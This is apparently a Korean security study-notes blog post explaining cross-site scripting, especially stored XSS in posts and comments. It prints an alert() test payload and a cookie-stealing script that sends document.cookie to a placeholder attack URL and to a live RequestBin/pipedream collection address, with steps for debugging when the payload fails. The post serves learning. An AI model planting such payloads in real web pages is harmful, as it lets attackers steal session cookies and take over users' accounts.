XSS

XSS(클라이언트 사이드 취약점)은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다.
해당 종류의 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고
해당 계정으로 임의의 기능을 수행할 수 있다.

** Server Side vs Client Side
-> 서버에서 실행되는 코드
-> 클라이언트 측에서 실행되는 코드(웹 브라우저)
HTML, css, javascript
** WEB Request
<img src=''>
var i = new Image();
i.src = "attack URL?cookie=" + document.cookie;
-> 클라이언트 측 코드를 삽입하는 공격
-> 피해자 컴퓨터 (웹 브라우저) 실행되게 만드는 공격
> 클라이언트는 이미지를 불러오는 과정에서 javascript 코드를 실행하게 되어 쿠키를 공격자에게 전송.
어떻게 삽입해? 서버에 저장하자! : Stored XSS
Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS.
대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드.
게시물은 불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력을 가진다.
먼저 POC 코드(증명용 코드)로 XSS 동작을 확인한다.
<script>alert()</script>
동작이 확인됬으면 공격용 코드를 준비한다.
※ Request Bin을 이용해서 요청받을 주소를 준비한다.
<script>var i = new Image(); i.src="attack URL?cookie=" + document.cookie;</script>
<script>var i=new Image(); i.src=" https://enz2a3nqcj1s.x.pipedream.net?cookie= " + document.cookie;</script>
img 객체를 생성하고 img 객체의 주소를 xss코드로 작성했다.
클라이언트는 img를 불러오는 과정에서 javascript코드를 실행하게 될 것이다.
** Request Bin을 이용해서 확인
https://public.requestbin.com/r/enagvw5qx61c5
RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks
public.requestbin.com
XSS Step
- Step 1. alert() -> POC
- Step 2. 공격 코드를 넣는다.
- 안되네? F12 -> Console. 빨간색. 에러확인.
'Security > Study' 카테고리의 다른 글
| [8주차] CSRF(Cross Site Request Forgery) (0) | 2023.05.23 |
|---|---|
| [7주차] Reflected XSS / DOM Based XSS (0) | 2023.05.12 |
| [5주차] Blind SQL Injection / 대응방안 (0) | 2023.04.28 |
| [4주차] Union, Error Based SQL Injection (0) | 2023.04.21 |
| [3주차] SQL Injection (0) | 2023.04.14 |